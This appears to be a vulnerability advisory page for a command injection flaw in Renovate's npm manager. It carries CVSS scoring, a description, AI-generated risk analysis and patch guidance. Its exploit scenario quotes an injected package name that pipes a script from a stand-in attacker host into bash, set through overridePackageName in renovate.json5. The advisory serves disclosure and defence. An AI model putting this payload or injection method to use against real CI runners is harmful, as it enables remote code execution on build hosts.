EUVD-2026-62471
GHSA-8rp2-gc6p-4hgp
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Repository write access maps to PR:H and AV:L since exploitation is mediated through a locally-processed Renovate config file; full RCE on the runner yields C:H/I:H/A:H with no cross-system scope change.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Renovate versions from 35.63.0 before 40.33.0 contain a command injection vulnerability in the npm manager where user-provided packageName values are appended to npm install commands without proper sanitization. Attackers with repository write access can craft malicious Renovate configuration files to execute arbitrary commands on the machine running Renovate.
Articles & Coverage 1
AnalysisAI
Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write access to execute arbitrary commands on the CI/CD host running Renovate by supplying malicious packageName values via a crafted renovate.json5 configuration file. The root cause is in lib/modules/manager/npm/post-update/npm.ts, where user-controlled package names and workspace keys are interpolated directly into shell commands during lock file maintenance without shell escaping via shlex.quote(). …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold repository write access (e.g., GitHub contributor, maintainer, or equivalent SCM role) to a repository that is actively monitored by a self-hosted Renovate instance. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) reflects low attack complexity but a meaningful privilege barrier - repository write access is required, limiting the exploitable population to trusted contributors or maintainers of repositories actively managed by a self-hosted Renovate instance. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with Git write access to a repository managed by a self-hosted Renovate instance commits a `renovate.json5` file containing a `packageRules` entry that uses `overridePackageName` to set a package name to a shell-injected string such as `; curl attacker.example/shell.sh | bash; echo `. When Renovate's scheduled run processes the repository and performs npm lock file maintenance, the npm post-update module appends this unsanitized string directly to an `npm install` shell command, causing the attacker's payload to execute with the privileges of the Renovate process on the CI runner host. … |
| Remediation | Vendor-released patch: 40.33.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all Renovate deployments and their versions, audit repository write permissions across development teams, and restrict automated merge capabilities pending update. …
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Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
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External POC / Exploit Code
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